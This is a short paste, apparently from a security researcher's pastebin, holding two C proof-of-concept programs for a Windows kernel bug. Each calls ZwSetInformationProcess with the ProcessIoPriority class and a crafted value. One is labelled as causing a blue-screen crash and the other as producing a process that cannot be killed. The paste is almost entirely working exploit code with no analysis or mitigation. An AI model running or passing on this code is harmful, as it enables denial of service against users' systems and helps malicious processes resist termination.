SHARE
TWEET

ProcessIoPriority Bug (BSOD/Non-Killable Process)

waliedassar Feb 6th, 2013 1,433 Never
  1. //http://waleedassar.blogspot.com
  2. //http://www.twitter.com/waleedassar
  3.  
  4. BSOD:
  5. #define ProcessIoPriority               0x21
  6. int main()
  7. {
  8.     unsigned long val=0xFFFFFFFF;
  9.     int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
  10.     if(ret<0) printf("Error %x\r\n",ret);
  11.     ExitProcess(0);
  12.     return 0;
  13. }
  14.  
  15. Non-Killable Process:
  16.  
  17. #define ProcessIoPriority               0x21
  18. int main()
  19. {
  20.     unsigned long val=0x8000F129;
  21.     int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
  22.     if(ret<0) printf("Error %x\r\n",ret);
  23.     ExitProcess(0);
  24.     return 0;
  25. }
RAW Paste Data
Top